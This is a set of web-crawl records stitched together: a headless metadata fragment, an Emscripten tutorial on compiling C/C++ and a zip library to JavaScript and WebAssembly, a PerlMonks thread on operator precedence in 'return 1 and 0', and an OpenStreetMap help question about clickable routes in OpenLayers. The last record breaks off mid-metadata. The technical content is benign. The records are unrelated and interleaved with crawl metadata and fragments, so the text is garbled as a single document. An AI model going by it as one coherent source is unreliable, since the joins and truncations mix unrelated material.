"warc_info": "isPartOf: CC-MAIN-2021-17\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-36.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
16,
17,
985,
986,
1036,
1037,
2118,
2119,
2170,
2171,
2753,
2754,
2830,
2831,
3773,
3774,
3817,
3818,
4541,
4542,
4595,
4596
],
"line_end_idx": [
16,
17,
985,
986,
1036,
1037,
2118,
2119,
2170,
2171,
2753,
2754,
2830,
2831,
3773,
3774,
3817,
3818,
4541,
4542,
4595,
4596,
5563
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5563,
"ccnet_original_nlines": 22,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4482758641242981,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.012704170309007168,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1197822093963623,
"rps_doc_frac_unique_words": 0.5147058963775635,
"rps_doc_mean_word_length": 4.693277359008789,
"rps_doc_num_sentences": 50,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.62087869644165,
"rps_doc_word_count": 952,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.009400179609656334,
"rps_doc_frac_chars_top_3gram": 0.003133390098810196,
"rps_doc_frac_chars_top_4gram": 0.00716204009950161,
"rps_doc_books_importance": -467.8525390625,
"rps_doc_books_importance_length_correction": -467.8525390625,
"rps_doc_openwebtext_importance": -237.41432189941406,
"rps_doc_openwebtext_importance_length_correction": -237.41432189941406,
"rps_doc_wikipedia_importance": -237.36297607421875,
"rps_doc_wikipedia_importance_length_correction": -237.36297607421875
},
"fasttext": {
"dclm": 0.09631091356277466,
"english": 0.9459798336029053,
"fineweb_edu_approx": 1.417876124382019,
"eai_general_math": 0.02507912926375866,
"eai_open_web_math": 0.1407213807106018,
"eai_web_code": 0.04761838912963867
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.8",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
323,670,565,099,859,300 | Web Development
How to use native libraries on Node.js with Emscripten
Run code at near native speed without complex FFI bindings.
Emscripten is an LLVM-bitcode to Javascript compiler. It Compiles C/C++ code into highly optimized ASM.js Javascript or webassembly which allows you to run code at near native speed without requiring you to use complex FFI bindings. divider 600
Setting up Emscripten
Pulling down the emscripten compiler is rather straightforward:
1. You have the option of downloading the latest release linked in the documentation.
2. Or cloning the project off of the github repository (recommended if you plan on compiling to webassembly).
Once you have the project, cd into the directory and have Emscripten install the latest toolchain by issuing the following commands
# Fetch the latest registry of available tools.
./emsdk update
# Download and install the latest SDK tools.
./emsdk install latest
# Make the "latest" SDK "active" for the current user. (writes ~/.emscripten file)
./emsdk activate latest
This comes with a release of the llvm compiler toolchain which we would have to setup as our clang and clang++ compilers.
Fortunately, there’s a handy shell script in the project root that we can use to do just this. It also adds tools from the emsdk to our path for easy access.
# Activate PATH and other environment variables in the current terminal
source ./emsdk_env.sh
Now you should be able to verify that emcc, the emscripten C compiler is available by running the following command.
$ emcc -v
emcc (Emscripten gcc/clang-like replacement + linker emulating GNU ld) 1.37.28
clang version 4.0.0 (emscripten 1.37.28 : 1.37.28)
Target: x86_64-unknown-linux-gnu
Thread model: posix
InstalledDir: /home/vagrant/emsdk/clang/e1.37.28_64bit
Found candidate GCC installation: /usr/lib/gcc/x86_64-linux-gnu/5
Found candidate GCC installation: /usr/lib/gcc/x86_64-linux-gnu/5.4.0
Found candidate GCC installation: /usr/lib/gcc/x86_64-linux-gnu/6
Found candidate GCC installation: /usr/lib/gcc/x86_64-linux-gnu/6.0.0
Selected GCC installation: /usr/lib/gcc/x86_64-linux-gnu/5.4.0
...
divider 600
Compiling native code
At this point we are ready to hack around with compiling a C/C++ program. Let’s attempt compiling a file we can call fizzbuzz.cpp with content,
#include <iostream>
using namespace std;
int main()
{
for (auto i = 1; i <= 100; ++i)
{
if (i % 3 == 0 && i % 5 == 0)
cout << "FizzBuzz";
else if (i % 3 == 0)
cout << "Fizz";
else if (i % 5 == 0)
cout << "Buzz";
else
cout << i;
cout << endl;
}
}
This is the classic FizzBuzz program implemented in C++ 11 (note the use of the auto keyword). We can compile it to Javascript using emscripten by running emcc.
emcc fizzbuzz.cpp -std=c++11 -o fizzbuzz.out.js
This will output a file fizzbuzz.out.js which we can run using node. The resulting Javascript is pretty lengthy and code dense primarily because it contains things like comments, runtime support code with features like bounds checking, as well as a good chunk of libc. Using optimization flags would help in removing comments and reducing the size of the resulting output.
$ node fizzbuzz.out.js
1
2
Fizz
4
Buzz
/* Truncated */
Passing html as the output file extension tells Emscripten to generate an HTML page template bootstrapped to run your code
emcc fizzbuzz.cpp -std=c++11 -o fizzbuzz.html
To compile down to webassembly, all you need to do is add the WASM compiler flag
emcc fizzbuzz.cpp -std=c++11 -s WASM=1 -o fizzbuzz.html
This will generate a fizzbuzz.wasm module along with fizzbuzz.js to load the wasm module. divider 600
Compiling native libraries
While compiling your own native code is pretty cool, Emscripten’s true value comes in including native libraries in your project.
To do this, your libraries have to be compiled into LLVM bitcode.
Compiling them into standard static libraries won’t work. The best candidates for compilation via emscripten are standalone portable libraries. This is because often the result of the build is intended to target the browser. Complex builds with OS specific dependencies will require additional work to port over.
To walk through the process we’ll be building zip; A lightweight portable zip library based on the miniz compression library.
We can begin by cloning the repository and navigating to the directory.
$ git clone https://github.com/kuba--/zip.git
$ cd zip
Next we’ll build the library using emscripten wrappers around cmake and make. These replace the default system C/C++ compilers with emscripten during the build process.
mkdir build && cd build
emcmake cmake .. # Use CMake to generate Makefile
emmake make # build the project
At this point we should have an static archive libzip.a that contains the llvm bitcode we need to link against when building our final executable.
Let’s write some code that will be using this library.
#include <stdio.h>
// Header for zip
#include <zip.h>
// Emscripten header
#include <emscripten.h>
#define FS_PREFIX "fs"
// Prepend file system path
const char* buildRelativeFilePath(const char* filename) {
char *path;
asprintf(&path, "%s/%s", FS_PREFIX, filename);
return path;
}
int main()
{
// mount the current folder as a NODEFS instance
// inside of emscripten
EM_ASM({
var directory = '/' + UTF8ToString($0);
FS.mkdir(directory);
FS.mount(NODEFS, {root : '.'}, directory);
}, FS_PREFIX);
// construct zip file
struct zip_t *zip = zip_open(buildRelativeFilePath("foo.zip"),
ZIP_DEFAULT_COMPRESSION_LEVEL, 'w');
{
zip_entry_open(zip, "foo-1.txt");
{
const char *buf = "WillowTree rocks!";
zip_entry_write(zip, buf, strlen(buf));
}
zip_entry_close(zip);
}
zip_close(zip);
}
Here we’re including a header file from zip so we can use functions built into the project. We’re also including the emscripten header so we can mount the node file system instance. This will allow us to write outside of the emscripten virtual file system.
#define FS_PREFIX "fs"
EM_ASM({
var directory = '/' + UTF8ToString($0);
FS.mkdir(directory);
FS.mount(NODEFS, {root : '.'}, directory);
}, FS_PREFIX);
This mounts the vitual file system path "/fs" to our current working directory. So to write a file foo.txt, we’d need to write it to fs/foo.txt.
Finally, we can now compile our source using em++, the emscripten counterpart to g++ or clang++. Here we statically link to the archive as well as pass it’s path and the zip project’s source folder to include the header files.
em++ main.cpp -lzip -L<path to libzip.a> -I<path to zip>/src -o zipit.out
This gives us a file zipit.out.js we can execute which creates a zip file containing a single text file as expected. divider 600
Using Emscripten Ports
Building libraries yourself can be quite tedious especially when faced with large projects or situations where a library contains dependencies on other shared libraries. A great example of this would be the popular libpng or SDL which require some work to make compatible with Emscripten. A great initiative underway is the Emscripten ports project that aims to make it easy to add such projects to your builds. For example, adding libpng to your project is as easy as running
emcc make_png.c -s USE_LIBPNG=1
You can get a full list of Emscripten ports available by running
$emcc --show-ports
Available ports:
zlib (USE_ZLIB=1; zlib license)
libpng (USE_LIBPNG=1; zlib license)
SDL2 (USE_SDL=2; zlib license)
SDL2_image (USE_SDL_IMAGE=2; zlib license)
ogg (USE_OGG=1; zlib license)
vorbis (USE_VORBIS=1; zlib license)
bullet (USE_BULLET=1; zlib license)
freetype (USE_FREETYPE=1; freetype license)
SDL2_ttf (USE_SDL_TTF=2; zlib license)
SDL2_net (zlib license)
Binaryen (Apache 2.0 license)
cocos2d
divider 600
Conclusion
In this post, we’ve seen Emscripten in action as a tool to make compiling native code to Javascript and Webassembly making native code even more portable. Supporting multiple platforms on projects that require extremely complex business logic would only require you to write it once in native code and recompile it for all your respective targets with the option to support all platforms including Android, iOS, Desktop and Web. There are already quite a few projects taking advantage of it today and the rapid development of Webassembly makes the future look even more exciting. | {
"url": "https://www.willowtreeapps.com/ideas/how-to-use-native-libraries-on-node-js-with-emscripten",
"source_domain": "www.willowtreeapps.com",
"snapshot_id": "crawl=CC-MAIN-2019-26",
"warc_metadata": {
"Content-Length": "123977",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:YQ2CPZOSNMT64LWLZQOLDIRCE75YD4UX",
"WARC-Concurrent-To": "<urn:uuid:a31a10f6-e5b5-4d22-a106-a8cf6365b678>",
"WARC-Date": "2019-06-16T00:54:13Z",
"WARC-IP-Address": "34.199.255.1",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:AXVG3SWZEKID22KQ4PYTDN42GGKI3XT7",
"WARC-Record-ID": "<urn:uuid:ee4a3416-d2d0-4af2-a55a-98c527b69286>",
"WARC-Target-URI": "https://www.willowtreeapps.com/ideas/how-to-use-native-libraries-on-node-js-with-emscripten",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3a339f88-0cca-455f-ad7e-39fbef712cc7>"
},
"warc_info": "isPartOf: CC-MAIN-2019-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-166-244-242.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
16,
17,
72,
73,
133,
134,
379,
380,
402,
403,
467,
468,
556,
668,
669,
801,
802,
850,
865,
866,
911,
934,
935,
1018,
1042,
1043,
1165,
1166,
1324,
1325,
1397,
1419,
1420,
1537,
1538,
1548,
1549,
1628,
1680,
1713,
1733,
1788,
1854,
1924,
1990,
2060,
2123,
2124,
2128,
2129,
2141,
2142,
2164,
2165,
2309,
2310,
2330,
2331,
2352,
2353,
2364,
2366,
2399,
2402,
2437,
2466,
2492,
2517,
2543,
2568,
2578,
2598,
2617,
2620,
2622,
2623,
2784,
2785,
2833,
2834,
3207,
3208,
3231,
3232,
3234,
3236,
3241,
3243,
3248,
3264,
3265,
3388,
3389,
3435,
3436,
3517,
3518,
3574,
3575,
3677,
3678,
3705,
3706,
3836,
3837,
3903,
3904,
4217,
4218,
4344,
4345,
4417,
4418,
4464,
4473,
4474,
4643,
4644,
4668,
4718,
4750,
4751,
4898,
4899,
4954,
4955,
4974,
4992,
5009,
5030,
5054,
5055,
5078,
5079,
5107,
5165,
5178,
5226,
5240,
5242,
5243,
5254,
5256,
5306,
5331,
5341,
5387,
5414,
5463,
5479,
5480,
5503,
5567,
5610,
5613,
5652,
5659,
5708,
5758,
5765,
5792,
5795,
5812,
5814,
5815,
6072,
6073,
6096,
6097,
6106,
6147,
6169,
6213,
6228,
6229,
6374,
6375,
6602,
6603,
6677,
6678,
6807,
6808,
6831,
6832,
7309,
7310,
7342,
7343,
7408,
7409,
7428,
7429,
7446,
7479,
7516,
7548,
7592,
7623,
7660,
7697,
7742,
7782,
7807,
7838,
7847,
7848,
7860,
7861,
7872,
7873
],
"line_end_idx": [
16,
17,
72,
73,
133,
134,
379,
380,
402,
403,
467,
468,
556,
668,
669,
801,
802,
850,
865,
866,
911,
934,
935,
1018,
1042,
1043,
1165,
1166,
1324,
1325,
1397,
1419,
1420,
1537,
1538,
1548,
1549,
1628,
1680,
1713,
1733,
1788,
1854,
1924,
1990,
2060,
2123,
2124,
2128,
2129,
2141,
2142,
2164,
2165,
2309,
2310,
2330,
2331,
2352,
2353,
2364,
2366,
2399,
2402,
2437,
2466,
2492,
2517,
2543,
2568,
2578,
2598,
2617,
2620,
2622,
2623,
2784,
2785,
2833,
2834,
3207,
3208,
3231,
3232,
3234,
3236,
3241,
3243,
3248,
3264,
3265,
3388,
3389,
3435,
3436,
3517,
3518,
3574,
3575,
3677,
3678,
3705,
3706,
3836,
3837,
3903,
3904,
4217,
4218,
4344,
4345,
4417,
4418,
4464,
4473,
4474,
4643,
4644,
4668,
4718,
4750,
4751,
4898,
4899,
4954,
4955,
4974,
4992,
5009,
5030,
5054,
5055,
5078,
5079,
5107,
5165,
5178,
5226,
5240,
5242,
5243,
5254,
5256,
5306,
5331,
5341,
5387,
5414,
5463,
5479,
5480,
5503,
5567,
5610,
5613,
5652,
5659,
5708,
5758,
5765,
5792,
5795,
5812,
5814,
5815,
6072,
6073,
6096,
6097,
6106,
6147,
6169,
6213,
6228,
6229,
6374,
6375,
6602,
6603,
6677,
6678,
6807,
6808,
6831,
6832,
7309,
7310,
7342,
7343,
7408,
7409,
7428,
7429,
7446,
7479,
7516,
7548,
7592,
7623,
7660,
7697,
7742,
7782,
7807,
7838,
7847,
7848,
7860,
7861,
7872,
7873,
8452
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 8452,
"ccnet_original_nlines": 211,
"rps_doc_curly_bracket": 0.0023662999738007784,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2579210698604584,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.032240130007267,
"rps_doc_frac_lines_end_with_ellipsis": 0.004716979805380106,
"rps_doc_frac_no_alph_words": 0.2862701416015625,
"rps_doc_frac_unique_words": 0.4038461446762085,
"rps_doc_mean_word_length": 5.337792873382568,
"rps_doc_num_sentences": 109,
"rps_doc_symbol_to_word_ratio": 0.007226239889860153,
"rps_doc_unigram_entropy": 5.628222942352295,
"rps_doc_word_count": 1196,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03477444127202034,
"rps_doc_frac_chars_dupe_6grams": 0.03477444127202034,
"rps_doc_frac_chars_dupe_7grams": 0.03477444127202034,
"rps_doc_frac_chars_dupe_8grams": 0.02506265975534916,
"rps_doc_frac_chars_dupe_9grams": 0.02506265975534916,
"rps_doc_frac_chars_top_2gram": 0.007048869971185923,
"rps_doc_frac_chars_top_3gram": 0.010651630349457264,
"rps_doc_frac_chars_top_4gram": 0.0181704293936491,
"rps_doc_books_importance": -758.2721557617188,
"rps_doc_books_importance_length_correction": -758.2721557617188,
"rps_doc_openwebtext_importance": -485.6798400878906,
"rps_doc_openwebtext_importance_length_correction": -485.6798400878906,
"rps_doc_wikipedia_importance": -376.0942077636719,
"rps_doc_wikipedia_importance_length_correction": -376.0942077636719
},
"fasttext": {
"dclm": 0.10931646823883057,
"english": 0.7764236927032471,
"fineweb_edu_approx": 2.1302311420440674,
"eai_general_math": 0.8629891872406006,
"eai_open_web_math": 0.20776504278182983,
"eai_web_code": 0.7955065965652466
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-5,055,371,129,480,610,000 | Beefy Boxes and Bandwidth Generously Provided by pair Networks
Perl-Sensitive Sunglasses
PerlMonks
Re: Can you explain the result?
by RMGir (Prior)
on Dec 06, 2011 at 13:20 UTC ( #942013=note: print w/ replies, xml ) Need Help??
in reply to Can you explain the result?
Sure. The result of your function is the value 1, and that's what you're passing to Dumper...
Now, if you called
print Dumper(\&func);
on the function reference, you'd get a slightly more interesting result:
$VAR1 = sub { "DUMMY" };
I guess my version of Dumper isn't up to decompiling subs - I'm guessing that's expected.
Mike
Replies are listed 'Best First'.
Re^2: Can you explain the result?
by PerlOnTheWay (Scribe) on Dec 06, 2011 at 13:24 UTC
shouldn't 1 and 0 be false/0?
As choroba said, return 1&&0 is different from return 1 and 0.
$ perl -MB::Deparse -e' sub f{return 1 and 0;}; sub g{return 1 && 0}; $deparse=B::Deparse->new(); print "f(): ",$deparse->coderef2text(\&f),"\n"; print "g(): ",$deparse->coderef2text(\&g),"\n";' f(): { 0 if return 1; } g(): { return 0; }
Mike
I think it's bad design
Log In?
Username:
Password:
What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://942013]
help
Chatterbox?
and the web crawler heard nothing...
How do I use this? | Other CB clients
Other Users?
Others chilling in the Monastery: (6)
As of 2016-07-01 07:49 GMT
Sections?
Information?
Find Nodes?
Leftovers?
Voting Booth?
My preferred method of making French fries (chips) is in a ...
Results (408 votes). Check out past polls. | {
"url": "http://www.perlmonks.org/index.pl/jacques?node_id=942013",
"source_domain": "www.perlmonks.org",
"snapshot_id": "crawl=CC-MAIN-2016-26",
"warc_metadata": {
"Content-Length": "23793",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XQX2CSIIDCL42VLSJAC4JKWH4E4RVXTF",
"WARC-Concurrent-To": "<urn:uuid:1c0afa3d-edd4-4d25-a6f9-67fa47b39ee5>",
"WARC-Date": "2016-07-01T07:49:38Z",
"WARC-IP-Address": "66.39.54.27",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:PPEXY5LRCZX5H3HIZDMPAF65PYKJ45SW",
"WARC-Record-ID": "<urn:uuid:6e8a22b4-79e7-4c65-8790-eea6c521ee0d>",
"WARC-Target-URI": "http://www.perlmonks.org/index.pl/jacques?node_id=942013",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:e68c3ecd-a13c-4dff-9c02-c8c445fb18cb>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-164-35-72.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-26\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for June 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
63,
89,
91,
103,
104,
136,
137,
154,
235,
236,
237,
277,
278,
372,
373,
392,
393,
415,
488,
513,
603,
604,
609,
610,
643,
677,
731,
766,
835,
836,
1080,
1081,
1092,
1124,
1125,
1133,
1143,
1153,
1154,
1174,
1192,
1205,
1218,
1248,
1253,
1265,
1302,
1303,
1341,
1354,
1392,
1419,
1429,
1442,
1454,
1465,
1483,
1550,
1551,
1552,
1553,
1554,
1555,
1556,
1557,
1558,
1559,
1560,
1561
],
"line_end_idx": [
63,
89,
91,
103,
104,
136,
137,
154,
235,
236,
237,
277,
278,
372,
373,
392,
393,
415,
488,
513,
603,
604,
609,
610,
643,
677,
731,
766,
835,
836,
1080,
1081,
1092,
1124,
1125,
1133,
1143,
1153,
1154,
1174,
1192,
1205,
1218,
1248,
1253,
1265,
1302,
1303,
1341,
1354,
1392,
1419,
1429,
1442,
1454,
1465,
1483,
1550,
1551,
1552,
1553,
1554,
1555,
1556,
1557,
1558,
1559,
1560,
1561,
1607
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1607,
"ccnet_original_nlines": 69,
"rps_doc_curly_bracket": 0.0062227798625826836,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.23173804581165314,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.032745588570833206,
"rps_doc_frac_lines_end_with_ellipsis": 0.04285714030265808,
"rps_doc_frac_no_alph_words": 0.39294710755348206,
"rps_doc_frac_unique_words": 0.6680498123168945,
"rps_doc_mean_word_length": 4.589211463928223,
"rps_doc_num_sentences": 25,
"rps_doc_symbol_to_word_ratio": 0.010075570084154606,
"rps_doc_unigram_entropy": 4.885288715362549,
"rps_doc_word_count": 241,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.08679927885532379,
"rps_doc_frac_chars_dupe_6grams": 0.043399639427661896,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.03254973143339157,
"rps_doc_frac_chars_top_3gram": 0.03526220843195915,
"rps_doc_frac_chars_top_4gram": 0.043399639427661896,
"rps_doc_books_importance": -154.94908142089844,
"rps_doc_books_importance_length_correction": -141.23414611816406,
"rps_doc_openwebtext_importance": -122.2934799194336,
"rps_doc_openwebtext_importance_length_correction": -122.2934799194336,
"rps_doc_wikipedia_importance": -78.80844116210938,
"rps_doc_wikipedia_importance_length_correction": -65.25425720214844
},
"fasttext": {
"dclm": 0.7725306749343872,
"english": 0.8523314595222473,
"fineweb_edu_approx": 1.2104759216308594,
"eai_general_math": 0.002044860040768981,
"eai_open_web_math": 0.09637349843978882,
"eai_web_code": -0.000005249999958323315
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
4,680,332,526,189,536,000 | Why not ask your question on the new OpenStreetMap Community Forum?
Hi,
In my application I am using OSM Map. I am displaying different trajectories/routes in different layer. Now my requirement is like,
If I click any of displayed trajectory, it should create a popup to display information regarding that trajectory/route.
Can you suggest different approach to go through with this requirement?]
I've gone through following link but not succeeded with this.
https://help.openstreetmap.org/questions/9823/how-can-i-select-a-linestring-with-openlayers-selectfeture-at-any-position-of-the-line
asked 25 Nov '13, 10:50
nismeh's gravatar image
nismeh
11112
accept rate: 0%
edited 26 Nov '13, 12:52
NicolasDumoulin's gravatar image
NicolasDumoulin
3.3k42256
How is "create a popup to display information regarding that trajectory/route" related to OSM? What kind of information do you imagine?
(25 Nov '13, 11:56) aseerel4c26 ♦
I also have some problems to understand your request.
So you talk about #OpenLayers and popups. But where is the exact problem in your case? http://wiki.openstreetmap.org/wiki/Openlayers#Examples
(25 Nov '13, 12:25) iii
Let me again try to describe my requirement.
I am displaying route of two different coordinates. Now on my map I am with multiple routes for multiple locations. Now if I am clicking on any of the route, it should show me route information in popup window. for an example my route it from location A to location B is shown in map. Now if I am clicking on this route than it should display information like
Route A- B
Distance X miles
Similar feature is available there on Google Earth. If we are with multiple KMLs and that displays us multiple routes. Now if I am clicking on any of them, than it will display a popup providing differen information about selected route.
(25 Nov '13, 12:45) nismeh
3
You'd be better off asking this question at the support site of whichever web framework you're using to display the data. You've linked to an OpenLayers question - does that mean you're using OpenLayers? If so, you're probably best off starting here:
http://openlayers.org/dev/examples/
(25 Nov '13, 13:09) SomeoneElse ♦
As the other comments, I recommand to you to post your question on specific forum about OpenLayers or Leaflet. For your information, umap may answer your request: http://umap.openstreetmap.fr/fr/
permanent link
answered 26 Nov '13, 07:32
NicolasDumoulin's gravatar image
NicolasDumoulin
3.3k42256
accept rate: 13%
edited 26 Nov '13, 09:26
SomeoneElse's gravatar image
SomeoneElse ♦
36.8k71369864
Hi, Thank You for your suggestion. I want exact thing as follwing link showing.
http://umap.openstreetmap.fr/en/map/gebiete-mit-fehlenden-adressen-in-chemnitz_828#12/50.8301/12.9299
Can you suggest me an approach?
(26 Nov '13, 10:46) nismeh
It depends on the source of you trajectories/routes! In umap, you can import your data as gpx/geojson/kml/osm. So you have to save your trajectories/routes in a file (the format will depend on your source and your tool), and then add them in your umap creation.
(26 Nov '13, 12:50) NicolasDumoulin
Your answer
toggle preview
Follow this question
By Email:
Once you sign in you will be able to subscribe for any updates here
By RSS:
Answers
Answers and Comments
Markdown Basics
• *italic* or _italic_
• **bold** or __bold__
• link:[text](http://url.com/ "title")
• image?
• numbered list: 1. Foo 2. Bar
• to add a line break simply add two spaces to where you would like the new line to be.
• basic HTML tags are also supported
Question tags:
×706
×529
×311
×13
question asked: 25 Nov '13, 10:50
question was seen: 4,115 times
last updated: 26 Nov '13, 12:52
powered by OSQA | {
"url": "https://help.openstreetmap.org/questions/28443/cilckable-routestrajectory-in-map",
"source_domain": "help.openstreetmap.org",
"snapshot_id": "CC-MAIN-2023-40",
"warc_metadata": {
"Content-Length": "34302",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:QSGMYWEAEG7OFHK3IAGM622E3OY3LQSC",
"WARC-Concurrent-To": "<urn:uuid:9f684446-2cb5-4133-b8a1-3c0b4a73b47d>",
"WARC-Date": "2023-10-03T20:08:14Z",
"WARC-IP-Address": "212.110.172.32",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
